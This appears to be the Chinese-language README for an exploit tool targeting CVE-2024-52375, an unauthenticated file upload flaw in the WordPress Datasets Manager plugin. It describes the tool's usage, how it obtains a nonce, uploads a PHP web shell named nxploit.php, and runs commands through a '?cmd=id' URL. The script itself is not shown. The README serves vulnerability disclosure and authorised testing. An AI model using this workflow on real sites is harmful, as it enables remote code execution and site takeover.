WordPress Datasets Manager <= 1.5 - 任意文件上传 (CVE-2024-52375)

💥 漏洞利用作者：Nxploit (Khaled Alenazi)
📅 CVE 发布时间：2024 年 11 月 14 日
🧠 CVSS 评分：10.0（严重）
🛠 CWE-434：危险类型文件的不受限制上传

---

📌 描述

在 Arttia Creative 的 Datasets Manager WordPress 插件中发现了一个严重漏洞，影响 直至并包括 1.5 的所有版本。

该插件在上传过程中未能正确验证文件类型，允许未经认证的攻击者上传任意文件（包括 PHP shells），从而实现远程代码执行（RCE）。

---

🧠 CVE 详情

• CVE ID: CVE-2024-52375
• 受影响插件： Arttia Creative 的 Datasets Manager
• 受影响版本： <= 1.5
• 漏洞类型： 任意文件上传（未经认证）
• CWE: CWE-434 - 危险类型文件的不受限制上传
• CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
• 严重性： 🔴 严重（10.0）

---

⚙️ 环境要求

• Python 3.x
• requests 库：

  pip install requests
  

---

🚀 使用方法

usage: CVE-2024-52375.py [-h] -u URL

Exploit for WordPress Datasets Manager <= 1.5 - Arbitrary File Upload | By: Nxploit | Khaled Alenazi

options:
  -h, --help     show this help message and exit
  -u, --url URL  Full target URL (e.g. http://target.com/wordpress)

将 URL 替换为目标 WordPress 安装的完整路径。

---

✅ 预期输出

如果成功，脚本将：

1. 从前端提取公开的 _wpnonce。
2. 上传一个名为 nxploit.php 的 PHP shell。
3. 检查 shell 是否可访问并显示其 URL：

[+] Shell available at:
    http://target.com/wordpress/wp-content/uploads/2025/03/nxploit.php

然后您可以执行命令，例如：

http://target.com/wordpress/wp-content/uploads/2025/03/nxploit.php?cmd=id

---

🔒 说明

• 该漏洞利用脚本会通过 readme.txt 自动检查插件版本。
• 仅 <= 1.5 版本存在漏洞。
• 无需任何身份验证。

---

---

📢 免责声明

此工具仅用于教育和授权测试目的。
将其用于您不拥有或未经许可测试的系统是非法的。